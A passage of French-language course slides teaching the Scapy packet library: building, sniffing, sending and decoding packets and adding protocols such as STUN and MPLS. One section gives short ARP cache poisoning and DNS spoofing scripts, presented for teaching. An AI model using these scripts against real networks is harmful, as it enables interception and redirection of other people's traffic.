proto= ip

...
>

Ici, la mthode show2() force le calcul de certains champs (checksum par ex.).

8 Scapy : structure des objets

30

Dans Scapy, il existe des objets Python champs , Field, et des objets Python paquets ,
Packet, qui sont constitus de ces champs.
Lorsque lon construit un paquet rseau complet, il est ncessaire dempiler les diffrentes
couches protocolaires, layers.
En particulier, un paquet (ou layer ou couche ou protocole) est constitu de :
deux attributs underlayer et payload, pour les liens entre couches infrieures et suprieures ;
plusieurs liste des champs dfinissant le protocole (TTL, IHL par exemple pour IP) :
 une liste avec des valeurs par dfaut, default_fields ;
 une liste avec les valeurs choisies par lutilisateur, fields ;
 une liste avec les valeurs imposes lorsque la couche est imbrique par rapport
dautres, overloaded_fields.
Lempilement des couches se fait avec loprateur / :
> p=IP()/UDP()

Les fourberies de Scapy

> p
<IP

frag=0 proto=udp |<UDP

Ici, des champs de la couche IP ont t surcharges , par celle de la couche suprieure
UDP.

8.1 Scapy : structure des objets & empilement de couches

31

Dans Scapy, il est possible de choisir les valeurs des diffrents champs comme on le veut mme si cela est
contraire aux protocoles.
Le but tant soit ltude des consquences, soit la ralisation de consquences plus ou moins dsastreuses
pour le rcepteur. . .
> p=IP()/UDP()
> p
<IP

frag=0 proto=udp |<UDP

> p.payload
<UDP

|>

> p[UDP].dport = 22
> p
<IP

frag=0 proto=udp |<UDP

dport=ssh |

Il est facile daccder une couche en utilisant laccs par le nom de cette couche : p[UDP] ou bien avec
loprateur in :
> UDP in p
True
> p.haslayer(UDP)

Les fourberies de Scapy

Remarques :
pour obtenir le calcul automatique ou la valeur par dfaut de certains champs qui ont t redfinis, il faut les
effacer : del(p.ttl) ;
loprateur / retourne une copie des paquets utiliss.

Scapy : affichage et comparaison humaine des champs

32

Il est possible de demander un paquet de fournir une reprsentation sous forme de chane
de caractres des valeurs de ses champs, laide de la mthode sprintf :
> p.sprintf("%dst%")
00:58:57:ce:7d:aa
> p.sprintf("%TCP.flags%")
S
> p[IP].flags
2L
> p.sprintf(%IP.flags%)
MF+DF
> MF in p.sprintf(%flags%)
True

Les fourberies de Scapy

Ici, cela permet dobtenir un affichage orient humain des valeurs de drapeaux.
Cela permet galement de simplifier les tests :
> q.sprintf(%TCP.flags%)==S
True

Ici, il nest pas ncessaire de tester la valeur des drapeaux avec leur reprsentation hexadcimale.

9 Scapy et fichier pcap

33

Avec Scapy, il est possible de lire des fichiers de capture de trafic rseau au format pcap
utilis par WireShark :
> a=rdpcap ("STUN.pcap")
> a
<STUN.pcap: TCP:0 UDP:8 ICMP:0 Other:0>
> type(a)
<type instance>
> a[0]
<Ether

dst=00:0c:29:94:e6:26 src=00:0f:b0:55:9b:12 type=0x800 |<IP

version=4L ihl=5L tos=0x0

len=56 id=28922 flags= frag=0L ttl=128 proto=udp chksum=0x575d src=175.16.0.1 dst=192.168.2.164


options=[] |<UDP

sport=20000 dport=3478 len=36 chksum=0x5203 |<Raw

load=\x00\x01\x00\x08&|+

\x88\xdcP\xc9\x08\x90\xdc\xefD\x02\xc3e<\x00\x03\x00\x04\x00\x00\x00\x00 |
> a.__class__
<class scapy.plist.PacketList at 0xa0eed7c>

Les fourberies de Scapy

La lecture du fichier cr un objet PacketList qui peut ensuite est parcouru la manire
dune liste.
On va pouvoir appliquer des oprations de filtrage dessus.
Attention : il est possible deffectuer des oprations la manire des listes standards de Python, comme avec filter(fonction, liste), mais on perd des informations (comme
lheure de capture).

9.1 Les listes de paquets

34

Pour le filtrage, on doit fournir une fonction renvoyant vrai ou faux ; une lambda fonction est le
plus efficace :
> a.filter(lambda p: UDP in p)
<filtered STUN.pcap: TCP:0 UDP:8 ICMP:0 Other:0>
> a.filter(lambda p: TCP in p)
<filtered STUN.pcap: TCP:0 UDP:0 ICMP:0 Other:0>
> a.filter(lambda p: p[UDP].sport==3478)
<filtered STUN.pcap: TCP:0 UDP:4 ICMP:0 Other:0>

On peut obtenir un rsum de ce qui compose le trafic :


> a.summary ()
Ether / IP / UDP 175.16.0.1:20000 > 164.81.1.4:3478 / Raw
Ether / IP / UDP 192.168.2.164:3478 > 164.81.1.4:20000 / Raw
Ether / IP / UDP 175.16.0.1:20001 > 164.81.1.4:3478 / Raw
Ether / IP / UDP 192.168.2.164:3478 > 164.81.1.4:20001 / Raw
Ether / IP / UDP 175.16.0.1:20002 > 164.81.1.4:3478 / Raw

Les fourberies de Scapy

Ether / IP / UDP 192.168.2.164:3478 > 164.81.1.4:20002 / Raw


Ether / IP / UDP 175.16.0.1:20003 > 164.81.1.4:3478 / Raw
Ether / IP / UDP 192.168.2.164:3478 > 164.81.1.4:20003 / Raw

10 Scapy et lcoute rseau

35

Il est possible dcouter le trafic passant sur un rseau :


> p=sniff(count=5)
> p.show()
0000 Ether / IP / TCP 192.168.0.2:64321 > 202.182.124.193:www FA
0001 Ether / IP / TCP 192.168.0.2:64939 > 164.81.1.61:www FA
0002 Ether / IP / TCP 192.168.0.2:65196 > 164.81.1.69:imaps S
0003 Ether / IP / TCP 192.168.0.2:65196 > 164.81.1.69:imaps A
0004 Ether / IP / TCP 192.168.0.2:65196 > 164.81.1.69:imaps PA / Raw

On remarque que les drapeaux TCP sont indiqus.


Le paramtre count permet de limiter la capture 5 paquets (0 indique sans arrt ).
def traiter_trame(p):
# affichage ou travail sur la trame

Les fourberies de Scapy

sniff(count = 0, prn = lambda p : traiter_trame(p))

Les paramtres :
prn permet de passer une fonction appliquer sur chaque paquet reu ;
lfilter permet de donner une fonction Python de filtrage appliquer lors de la capture ;
filter permet de donner une expression de filtrage avec la syntaxe de tcpdump.
Attention : pour pouvoir sniffer le rseau, il faut lancer scapy ou le programme lutilisant avec
les droits root (sudo python mon_programme.py).

11 Dcomposition et composition de paquets

36

Si lon dispose dun paquet sous sa forme objet, il est possible dobtenir sa composition avec
Scapy :
> p=IP(dst="164.81.1.4")/TCP(dport=53)
> p
<IP

frag=0 proto=tcp dst=164.81.1.4 |<TCP

dport=domain |

> str(p)
E\x00\x00(\x00\x01\x00\x00@\x06\x14\xc4\xc0\xa8\x00\x0e\xa4Q\x01\x04\x00\x14\x005\x00\x00
\x00\x00\x00\x00\x00\x00P\x02 \x00)\x8e\x00\x00

Ou de le dcomposer depuis sa forme brute (chane doctets) :


> g=str(p)
> IP(g)
<IP

version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x14c4

src=192.168.0.14 dst=164.81.1.4 options=[] |<TCP

sport=ftp_data dport=domain seq=0 ack=0 dataofs=5L

reserved=0L flags=S window=8192 chksum=0x298e urgptr=0 |

Certaines valeurs se dfinissent automatiquement :


> p=Ether()/IP()/UDP()/DNS()/DNSQR()
> p

Les fourberies de Scapy

<Ether

type=0x800 |<IP

frag=0 proto=udp |<UDP

sport=domain |<DNS

|<DNSQR

|>

Le port 53, ou domain a t dfinie par lempilement dun paquet DNS.

Positionner les options

37

Les options dIP


> IPOption

Les fourberies de Scapy

IPOption

IPOption_RR

IPOption_Address_Extension

IPOption_Router_Alert

IPOption_EOL

IPOption_SDBM

IPOption_LSRR

IPOption_SSRR

IPOption_MTU_Probe

IPOption_Security

IPOption_MTU_Reply

IPOption_Stream_Id

IPOption_NOP

IPOption_Traceroute

Value Name
Reference
- -
0 EOOL
- End of Options List
[RFC791,JBP]
1 NOP
- No Operation
[RFC791,JBP]
130 SEC
- Security
[RFC1108]
131 LSR
- Loose Source Route
[RFC791,JBP]
68 TS
- Time Stamp
[RFC791,JBP]
133 E-SEC - Extended Security
[RFC1108]
7 RR
- Record Route
[RFC791,JBP]
136 SID
- Stream ID
[RFC791,JBP]
137 SSR
- Strict Source Route
[RFC791,JBP]
10 ZSU
- Experimental Measurement
[ZSu]
11 MTUP
- MTU Probe
[RFC1191]*
12 MTUR
- MTU Reply
[RFC1191]*
205 FINN
- Experimental Flow Control
[Finn]
82 TR
- Traceroute
[RFC1393]
147 ADDEXT - Address Extension
[Ullmann IPv7]
148 RTRALT - Router Alert
[RFC2113]
149 SDB
- Selective Directed Broadcast[Graff]
150
- Unassigned (Released 18 October 2005)
151 DPS
- Dynamic Packet State
[Malis]
152 UMP
- Upstream Multicast Pkt. [Farinacci]
25 QS
- Quick-Start
[RFC4782]

Exemple
> IP(options=IPOption_Traceroute())
> sr1(IP(options=[IPOption_Traceroute(originator_ip="1.2.3.4")], ttl=2, dst="google.com")/ICMP())
> ip=IP(src="1.1.1.1", dst="8.8.8.8", options=IPOption(\x83\x03\x10))

Positionner les options

38

Les options de TCP


> TCPOptions
({0: (EOL, None), 1: (NOP, None), 2: (MSS, !H), 3: (WScale, !B),
4: (SAckOK, None), 5: (SAck, !), 8: (Timestamp, !II), 14: (AltChkSum, !BH), 15: (AltChkSumOpt, None)},
{AltChkSum: 14, AltChkSumOpt: 15, SAck: 5, Timestamp: 8, MSS: 2, NOP: 1, WScale: 3, SAckOK: 4, EOL: 0})

Les rechercher dans un paquet


for (nom,valeur) in pkt[TCP].options :
if nom == "WScale" :
print "Trouve !"

Attention

Les fourberies de Scapy

Pour vrifier que les options sont bien positionnes, il faut vrifier que Scapy a bien ajout la fin loption EOL :
> t.options=[(MSS, 1460), (SAckOK, ), (Timestamp, (45653432, 0)), (NOP, None)]
> t
<TCP sport=58636 dport=www seq=2631794892L ack=0 dataofs=10L reserved=0L flags=S window=14600 chksum=0xe643 urgptr=0 options=[(MSS,
1460), (SAckOK, ), (Timestamp, (45653432, 0)), (NOP, None)] |>
> t.options
[(MSS, 1460), (SAckOK, ), (Timestamp, (45653432, 0)), (NOP, None)]
> t.show2()
###[ TCP ]###
sport= 58636
dport= www
seq= 2631794892L
ack= 0
dataofs= 10L
reserved= 0L
flags= S
window= 14600
chksum= 0xe643
urgptr= 0
options= [(MSS, 1460), (SAckOK, ), (Timestamp, (45653432, 0)), (NOP, None), (EOL, None)]

12 Lenvoi de paquets

39

Il existe diffrentes fonctions :


de niveau 2 (couche liaison de donnes) :
 sendp(paquet) pour envoyer des trames ;

 reponse, non_repondu = srp(paquet) envoi et rception de trames ;


 reponse = srp1(paquet) envoi dune trame, obtention dune seule rponse ;
de niveau 3 (couche IP) :
 send(paquet) pour envoyer des paquets ;
 reponse, non_repondu = sr(paquet) envoi et rception ;
 reponse = sr1(paquet) envoi dun paquet, rception dune seule rponse.
Les paquets non_repondu sont importants car ils expriment soit un chec, soit un filtrage. . .
En gnral, les paquets de niveau 2 sont des trames Ether, mais pour des connexions sans
fil, elles peuvent tre de type Dot11.

Les fourberies de Scapy

Les paquets de niveau 3 peuvent tre de type IP, ARP, ICMP, etc.

13 Quelques injections : ARP & DNS

40

On appelle injection lenvoi de paquets non ordinaires. . .


1
2

def arpcachepoison(cible, victime):


"""Prends la place de la victime pour la cible"""

cible_mac = getmacbyip(cible)

p = Ether(dst=cible_mac) /ARP(op="who-has", psrc=victime, pdst=cible)

sendp(p)

Les fourberies de Scapy

Du DNS spoofing :
1

# on va sniffer le rseau sur eth0 et ragir sur des paquets vers ou depuis le port 53

scapy.sniff(iface="eth0",count=1,filter="udp port 53",prn=procPacket)

# on va reprendre des infos prsentes dans le paquet

def procPacket(p):

eth_layer = p.getlayer(Ether)

src_mac, dst_mac = (eth_layer.src, eth_layer.dst)

ip_layer = p.getlayer(IP)

src_ip, dst_ip = (ip_layer.src, ip_layer.dst)

11

udp_layer = p.getlayer(UDP)

12

src_port, dst_port = (udp_layer.sport, udp_layer.dport)

Ici, le paramtre filter est exprim dans la mme syntaxe que celle de loutil TCPdump. On
peut utiliser une lambda fonction Python la place.

Les fourberies de Scapy

13.1 Quelques injections : DNS Suite


1

# on fabrique un nouveau paquet DNS en rponse

d = DNS()

d.id = dns_layer.id

d.qr = 1

d.opcode = 16

d.aa = 0

d.tc = 0

d.rd = 0

#Transaction ID

#1 for Response

d.ra = 1

10

d.z = 8

11

d.rcode = 0

12

d.qdcount = 1

#Question Count

13

d.ancount = 1

#Answer Count

14

d.nscount = 0

#No Name server info

15

d.arcount = 0

#No additional records

16

d.qd = str(dns_layer.qd)

18

# Euh...On met www.google.com pour viter de mal utiliser ce code

19

d.an = DNSRR(rrname="www.google.com.", ttl=330, type="A", rclass="IN", rdata="127.0.0.1")

21

spoofed = Ether(src=dst_mac, dst=src_mac)/IP(src=dst_ip, dst=src_ip)

22

spoofed = spoofed/UDP(sport=dst_port, dport=src_port)/d

23

scapy.sendp(spoofed, iface_hint=src_ip)

41

14 Affichage descriptif dun paquet

42

Soit le paquet suivant :


> a = Ether(src=00:c0:97:b0:d1:e0, dst=00:04:74:c5:01:f0, type=2054)/ARP(hwdst=00:04:74:c5:01:f0,
ptype=2048, hwtype=1, psrc=200.9.44.129, hwlen=6, plen=4, pdst=200.9.41.96,
hwsrc=00:c0:97:b0:d1:e0, op=2)
> a.pdfdump(rep_a.pdf)

Les fourberies de Scapy

Ce qui produit laffichage suivant :


Ethernet
dst
src
type

00:04:74:c5:01:f0
00:c0:97:b0:d1:e0
0x806

ARP
hwtype
ptype
hwlen
plen
op
hwsrc
psrc
hwdst
pdst

0x1
0x800
6
4
is-at
00:c0:97:b0:d1:e0
200.9.44.129
00:04:74:c5:01:f0
200.9.41.96

00 04 74 c5 01 f0 00 c0 97 b0 d1 e0 08 06 00 01
08 00 06 04 00 02 00 c0 97 b0 d1 e0 c8 09 2c 81
00 04 74 c5 01 f0 c8 09 29 60

Remarque : la mthode command permet de rcuprer une chane de commande permettant


de recrer le paquet : a.command(), par exemple.

15 Cration automatique de collection de paquets


Il est possible de construire des paquets en faisant varier la valeur de certains champs :
> l=TCP()
> m=IP()/l
> m[TCP].flags = SA
> m
<IP

frag=0 proto=tcp |<TCP

flags=SA |

> m.ttl=(10,13)
> m
<IP

frag=0 ttl=(10, 13) proto=tcp |<TCP

flags=SA |

> m.payload.dport = [80, 22]


> m
<IP

frag=0 ttl=(10, 13) proto=tcp |<TCP

dport=[www, ssh] flags=SA |

On peut alors obtenir la liste complte des paquets :


> [p for p in m]

Les fourberies de Scapy

[<IP

frag=0 ttl=10 proto=tcp |<TCP

dport=www flags=SA |,

<IP

frag=0 ttl=10 proto=tcp |<TCP

dport=ssh flags=SA |,

<IP

frag=0 ttl=11 proto=tcp |<TCP

dport=www flags=SA |,

<IP

frag=0 ttl=11 proto=tcp |<TCP

dport=ssh flags=SA |,

<IP

frag=0 ttl=12 proto=tcp |<TCP

dport=www flags=SA |,

<IP

frag=0 ttl=12 proto=tcp |<TCP

dport=ssh flags=SA |,

<IP

frag=0 ttl=13 proto=tcp |<TCP

dport=www flags=SA |,

<IP

frag=0 ttl=13 proto=tcp |<TCP

dport=ssh flags=SA |]

43

15.1 Cration de fichier pcap

Les fourberies de Scapy

Scapy permet de crer des fichiers au format pcap , ex. un handshake :


1

#!/usr/bin/python

from scapy.all import *

client, serveur = ("192.168.1.1", "192.168.1.75")

clport, servport = (12346, 80)

# choix aleatoire des numeros de sequence initiaux, ISN

cl_isn, serv_isn = (1954, 5018)

ethservcl, ethclserv = ( Ether()/IP(src=server, dst=client), Ether()/IP(src=client, dst=server))

10

# creation du paquet SYN

11

syn_p = ethclserv/TCP(flags="S", sport=clport, dport=servport, seq=cl_isn)

12

# creation de la reponse SYN-ACK

13

synack_p = ethservcl/TCP(flags="SA", sport=servport, dport=clport, seq=serv_isn, ack=syn_p.ack+1)

14

# creation du ACK final

15

ack_p = ethclserv/TCP(flags="A", sport=clport, dport=servport, seq=syn_p.seq+1, ack=synack_p.seq+1)

17

data = "GET / HTTP/1.1\r\nHost: www.unilim.fr\r\n\r\n"

18

# creation du paquet de donnees

19

get_p = ethclserv/TCP(flags="PA", sport=clport, dport=servport, seq=ack_p.seq, ack=ack_p.ack)/data

21

p_list = [syn_p, synack_p, ack_p, get_p]

22

wrpcap("handshake.pcap", p_list)

44

16 change de paquet de Wireshark vers Scapy

45

Il faut dabord copier le paquet dans Wireshark, en slectionnant loption Bytes


(Offset Hex) .
Puis ensuite, il faut dans Scapy en mode
interactif, en fonction de la nature du paquet :
taper
p=RadioTap(import_hexcap()), ici
pour un paquet WiFi,
ou p=Ether(import_hexcap()) pour
un paquet Ethernet ;

coller le contenu du presse-papier ;

Les fourberies de Scapy

appuyer sur la touche return ;


puis sur la combinaison de touches
CTRL-D .

Pour faire des schmas lgend avec Gnuplot


1

a,b=sr(IP(dst="www.unilim.fr")/TCP(sport=[RandShort()]*100))

gp = Gnuplot.Gnuplot(persist=1)

gp.title("Analyse de la distribution des ISN")

gp.xlabel("Numero paquet")

gp.ylabel("ISN")

gp(set xrange [1:100])

gp(set format y "%.0f")

data=Gnuplot.Data(range(1,101),[x[1].seq for x in a],title="Envoi de SYN",with_="lines")

gp.plot(data)

10

gp.hardcopy(isn_distribution.ps)

Pour obtenir les bornes de lISN :


Analyse de la distribution des ISN

> min([x[1].seq for x in a])

2644000000

Envoi de SYN

2625392796

2642000000

> max([x[1].seq for x in a])

2640000000

2644210715

2638000000

> gp.set_range(yrange,(2625392796,2644210715))

ISN

2636000000
2634000000
2632000000

Les fourberies de Scapy

2630000000
2628000000
2626000000
10

20

30

40

50
60
Numero paquet

70

80

90

100

46

17 Ajout de protocole

47

Scapy connait directement de nombreux protocoles, mais parfois il peut tre ncessaire de lui
ajouter la connaissance dun nouveau protocole.
Pour comprendre comment ajouter un protocole, regardons comment est implmenter un protocole connu :
1

class UDP(Packet):

name = "UDP"

fields_desc = [

ShortEnumField("sport", 53, UDP_SERVICES),

ShortEnumField("dport", 53, UDP_SERVICES),

ShortField("len", None),

XShortField("chksum", None), ]

On voit que lentte UDP est constitue de 4 short : entier sur 16bits (le prfixe X indique
dafficher la valeur du champs en notation hexadcimale).

Les fourberies de Scapy

Il existe de nombreux field disponibles.


Essayons sur un nouveau protocole : le protocole STUN, Session Traversal Utilities for
(NAT) , RFC 5389.

Les fourberies de Scapy

17.1 Description rapide de STUN

http://www.bortzmeyer.org/5389.html

48

17.2 Exemple dajout de protocole : protocole STUN


Format de lentte du paquet STUN, RFC 5389 :
0
1
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0|
STUN Message Type
|
Message Length
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
Magic Cookie
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
|
Transaction ID (96 bits)
|
|
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ce qui donne :
1

name = "STUNPacket"

fields_desc=[ XShortEnumField("Type", 0x0001,

Les fourberies de Scapy

class STUN(Packet):

0x0001 : "Binding Request",

0x0002 : "Shared secret Request",

0x0101 : "Binding Response",

0x0102 : "Shared Secret Response",

0x0111 : "Binding Error Response",

0x0112 : "Shared Secret Error Response"}),

10

FieldLenField("Taille", None, length_of="Attributs", fmt="H"),

11

XIntField("MagicCookie", 0),

12

StrFixedLenField("TransactionID", "1", 12)]

49

Format dun paquet STUN

50

Les fourberies de Scapy

Dans WireShark :

On visualise un trafic dchange du protocole STUN, et on se rend compte quun paquet STUN
peut contenir une liste de sous paquets. . .

Les fourberies de Scapy

17.3 Format dun paquet STUN

51

17.4 Ajout de protocole : les champs de longueur variable

52

Dans limplmentation de certains protocoles, il arrive que la taille dun champ soit dtermine
par la valeur dun autre champ.
Par exemple, un champ taille peut indiquer la taille dun champ de donnes de longueur variable.
Il est alors ncessaire de pouvoir indiquer Scapy :
comment calculer automatiquement la taille partir des donnes dans le cas de la construction dun paquet ;
comment dcouper le paquet en accord avec la taille indique.
Exemple
1

FieldLenField("Taille", None, length_of="Donnees"),

StrLenField("Donnees", "Rien", length_from = lambda pkt: pkt.Taille)

Les fourberies de Scapy

Il est ncessaire de lier les deux champs, ici Taille et Donnees , lors de leur dfinition.
On utilise une lambda fonction pour obtenir et calculer la valeur. Il faut utiliser le mme nom
pour la dfinition du champs et laccs lattribut, ici Taille identifie le champ de longueur.
Largument None utilis comme paramtre de FieldLenField indique quil ny a pas de
valeur par dfaut, mais que cette valeur devra tre calcule automatiquement.

Ajout de protocole : les champs de longueur variable

53

Pour indiquer la taille en octet du champ, utilis pour indiquer la taille dun autre champ, on
peut utiliser largument fmt et indiquer une chane de format comme indiqu dans le module
struct :
1

FieldLenField("Taille", None, length_of="Donnees", fmt="H"),

StrLenField("Donnees", "Rien", length_from = lambda pkt: pkt.Taille)

Il est possible dajuster le champ de longueur variable suivant des tailles diffrentes de mots.
Par exemple, une longueur peut tre exprime en mots de 32 bits :
1

FieldLenField("Taille", None, length_of="Donnees", adjust=lambda pkt,x: (x+1)/4),

Rappel sur le format utilis par struct :

H
unsigned short, c--d sur 16 bits, cest la valeur par dfaut utilise par Scapy

B
Les fourberies de Scapy

unsigned byte, c--d sur 8 bits

I
unsigned int, c--d sur 32 bits

17.5 Ajout de protocole : liens entre couches protocolaires

54

Pour pouvoir calculer la valeur dun champ partir dune couche suprieure, il faut dabord
dfinir un champ pour recevoir la valeur dans la couche courante et ensuite utiliser la mthode
post_build qui permet de modifier le paquet aprs sa construction :
1

class MonPaquet(Packet):

name = "Mon_paquet"

fields_desc= [ ShortField("Type", 0x0001),

4
5
6
7
8

ShortField("Taille", None) ]# la taille dest pas dfinie


def post_build(self, p, pay): # p : paquet, pay : payload ou chargement
if (self.Taille is None) and pay :
p=p[:2] +struct.pack("!H",len(pay)) +p[4:] # on modifie le champ Taille
return p+pay # on retourne len-tte modifie et le chargement

Les fourberies de Scapy

La mthode post_build va tre appele lors de lutilisation effective du paquet ou bien lors
de son affichage dans sa forme finale avec show2().
Comme le paquet peut tre construit avec une valeur choisie par lutilisateur, il faut tester si
cette valeur existe (Ici, avec le test self.Taille is None ).
Il faut galement savoir sil y a bien une couche suprieure, payload avec le test and pay: .

Ajout de protocole : liens entre couches protocolaires

55

Il faut considrer les donnes, le paquet, sur lesquelles on va travailler comme une suite doctets que lon va modifier :
1
2
3
4

def post_build(self, p, pay): # p\,: paquet, pay\,: payload ou chargement


if (self.Taille is None) and pay :
p=p[:2] +struct.pack("!H",len(pay)) +p[4:] # on modifie le champ Taille
return p+pay # on retourne len-tte modifie et le chargement

La mthode do_build reoit 3 arguments : le paquet lui-mme, le paquet sous forme dun
suite doctets, et le chargement qui correspond aux donnes suivantes.
Il faut donc le dcomposer comme une suite doctets en tenant compte des champs
qui ne doivent pas tre modifis, comme ici, le champs Type do la recomposition :
p=p[:2]+. . . +p[4:].

Les fourberies de Scapy

Pour la calcul du champs Taille, on utilise le module struct qui va garantir le format des
donnes : ici un format "!H" pour un entier sur deux octets dans le sens rseau (big-endian).
la fin, ma mthode renvoi la concatnation de len-tte, la couche courante, au chargement,
la couche suprieure : return p+pay.

17.6 Exemple dajout de protocole : protocole STUN

56

Ici, on a une variation sur les champs de taille variable : un champ liste de paquets de taille
variable.
1

class STUN(Packet):

name = "STUNPacket"

magic_cookie = 0

fields_desc=[ XShortEnumField("Type", 0x0001,

0x0001 : "Binding Request",

0x0002 : "Shared secret Request",

0x0101 : "Binding Response",

0x0102 : "Shared Secret Response",

0x0111 : "Binding Error Response",

10

0x0112 : "Shared Secret Error Response"}),

11

FieldLenField("Taille", None, length_of="Attributs", fmt="H"),

12

XIntField("MagicCookie", 0),

13

StrFixedLenField("TransactionID", "1", 12),

14

PacketListField("Attributs", None, _STUNGuessPayloadClass,

15

length_from=lambda x: x.Taille)]

Les fourberies de Scapy

On verra en TP comment rsoudre les problmes poss. . .

17.7 Ajout de protocole : retour sur les layers. . .

57

La notion de layer ou de couche : Un layer, ou une couche, est similaire des champs,
fields , que lon peut empiler les uns sur les autres.
Par exemple : IP()/UDP()/DNS()
Lintrt ? Pouvoir choisir dempiler diffrents types de couches par dessus une autre couche.
Sur lexemple, on peut ainsi empiler une couche correspondant au protocole DNS sur une
couche correspondant au protocole UDP.
Du point de vue rseaux on parle plutt dencapsulation, mais du point de vue de la construction/analyse de paquet, on parle plus dempilement.

Les fourberies de Scapy

Quelles sont les difficults ?


Les diffrentes couches ne sont pas indpendantes : certains champs dune couche sont associs plus ou moins directement, la couche suprieure.
Sur lexemple prcdent :
. la couche IP doit savoir le type de la couche suprieure (champ protocol de len-tte IP) ;
. la couche UDP : une couche DNS est identifie par un numro de port de destination ou de
provenance associ au protocole UDP, soit le port 53.

17.8 Ajout de protocole : comment aller plus loin ?

58

Problmes pour lanalyse dun paquet :


Lanalyse dun paquet repose sur les diffrentes valeurs prsentes dans une couche pour identifier la couche suprieure (On peut avoir de erreurs danalyse base sur des hypothses errones !).
Il est ainsi possible daccrocher des couches entre elles, en indiquant Scapy comment savoir
sil faut faire ou non le lien :
si on dispose dune classe HTTP, il est possible de faire :
1

bind_layers( TCP, HTTP, sport=80 ) # le champ sport du segment TCP

bind_layers( TCP, HTTP, dport=80 )

il est possible de dfaire les liens mis en place par dfaut :


1

split_layers(UDP, DNS, sport=53) # le champ sport du datagramme UDP

Les fourberies de Scapy

Ici, les liens dpendent de la valeur dun champ de la couche par rapport sa couche suprieure. Sans ce lien, la suite du paquet analyser est indiqu en raw.
Autres liens :
Sur lexemple prcdent, la couche IP doit connaitre la dimension de la couche UDP qui, ellemme, doit connaitre la taille de la couche DNS.
La valeur du champ dune couche peut dpendre de la valeur de la couche suprieure !

17.9 Exemple dajout de protocole : protocole STUN

59

Le paquet STUN, comme on la vu, peut tre complt par une liste de taille variable (ventuellement nulle) dextension.
On va devoir dfinir un type de paquet pour chacune des extensions possibles du protocole :
1
2

name = "STUN Attribut par defaut"

def guess_payload_class(self, p):

5
7

Les fourberies de Scapy

class STUN_Attribut_defaut(Packet): # une classe anctre

return Padding # Pour faire appel a _STUNGuessPayloadClass


class STUN_Attribut1(STUN_Attribut_defaut):

name = "MAPPED-ADDRESS"

fields_desc = [ ShortField("Type", 0x0001),

10

ShortField("Longueur", 8),

11

ByteField("Vide",0),

12

ByteField("Famille", 0x01),

13

ShortField("Port", 0x0001),

14

IPField("Adresse", "0.0.0.0")]

Ensuite, il va falloir intgrer lensemble de ces types dans lanalyse par Scapy du champs de
type PacketListField.
Lors de la dfinition de ce champ, on peut lui donner une fonction pour le guider
guessPayload.

Exemple dajout de protocole : protocole STUN


1

# Dictionnaire des types de sous paquet

_tlv_cls = { 0x0001: "STUN_Attribut1",

0x0002: "STUN_Attribut2",

Les fourberies de Scapy

...

0x8022: "STUN_Attribut7"

# Cette fonction guide PacketListField, Pour savoir comment analyser

# chacun des sous-paquets

def _STUNGuessPayloadClass(p, **kargs):

10

cls = Raw

11

if len(p) >= 2:

12

# Lire 2 octets du payload

13

# pour obtenir le type du sous paquet

14

t = struct.unpack("!H", p[:2])[0]

15

clsname = _tlv_cls.get(t, "Raw")

16

cls = globals()[clsname]

18

return cls(p, **kargs)

60

17.10 Ajout de protocole : intgration dans Scapy

61

Pour utiliser votre nouveau protocole, vous devez mettre le module qui le dcrit dans un rpertoire particulier accessible par scapy.
Ce rpertoire est dfini par rapport au rpertoire o a t install scapy :
scapy/layers/mon_protocole.py.
Enfin, pour permettre Scapy dutiliser automatiquement votre protocole, il faut lassocier
une information connue du protocole de couche infrieure qui le reoit :
1

bind_layers( TCP, HTTP, sport=80 ) # le champ sport du segment TCP

bind_layers( TCP, HTTP, dport=80 )

Les fourberies de Scapy

Attention : cette approche ne pourrait pas fonctionner dans le cas de notre protocole STUN et
de ses extentions. . .

17.11 Test de lajout du protocole STUN dans Scapy. . .

Les fourberies de Scapy

Dmonstration sur machine :

62

17.12 Ajout de lextension MPLS


1

63

# http://trac.secdev.org/scapy/ticket/31

> execfile("mpls.py")
> p=Ether()/MPLS()/IP()
> p

# scapy.contrib.description = MPLS

# scapy.contrib.status = loads

from scapy.packet import Packet,bind_layers

from scapy.fields import BitField,ByteField

from scapy.layers.l2 import Ether

<Ether

type=0x8847 |<MPLS

|<IP

|>

> p.show()
###[ Ethernet ]###
WARNING: Mac address to reach destination not found. Using broadcast.
dst= ff:ff:ff:ff:ff:ff
src= 00:00:00:00:00:00
type= 0x8847
###[ MPLS ]###

10

class MPLS(Packet):

11

name = "MPLS"

12

fields_desc =

label= 3
cos= 0
s= 1

[ BitField("label", 3, 20),

13

BitField("cos", 0, 3),

14

BitField("s", 1, 1),

15

ByteField("ttl", 0)

ttl= 0
###[ IP ]###
version= 4

ihl= None
tos= 0x0
len= None

17

bind_layers(Ether, MPLS, type=0x8847)

id= 1

18

bind_layers(MPLS, IP)

flags=

Les fourberies de Scapy

frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\

Ajout de lextension MPLS


Ethernet
dst
src
type

ff:ff:ff:ff:ff:ff
00:00:00:00:00:00
0x8847

MPLS
label
cos
s
ttl

3L
0L
1L
0

Les fourberies de Scapy

IP
version
ihl
tos
len
id
flags
frag
ttl
proto
chksum
src
dst
options
TCP
sport
dport
seq
ack
dataofs
reserved
flags
window
chksum
urgptr
options

4L
5L
0x0
40
1
0L
64
tcp
0x7ccd
127.0.0.1
127.0.0.1
[]
ftp data
www
0
0
5L
0L
S
8192
0x917c
0
{}

64
ff
31
00
00

ff
00
01
00

ff
45
7f
50

ff
00
00
02

ff
00
00
20

ff
28
01
00

00
00
00
91

00
01
14
7c

00
00
00
00

00 00 00 88 47 00 00
00 40 06 7c cd 7f 00
50 00 00 00 00 00 00
00

18 Scapy & IPv6

65

Il est possible dans Scapy denvoyer des paquets au format IPv6.


Par exemple, on peut diffuser lannonce dun prfixe rseau global et ladresse du routeur associ lensemble
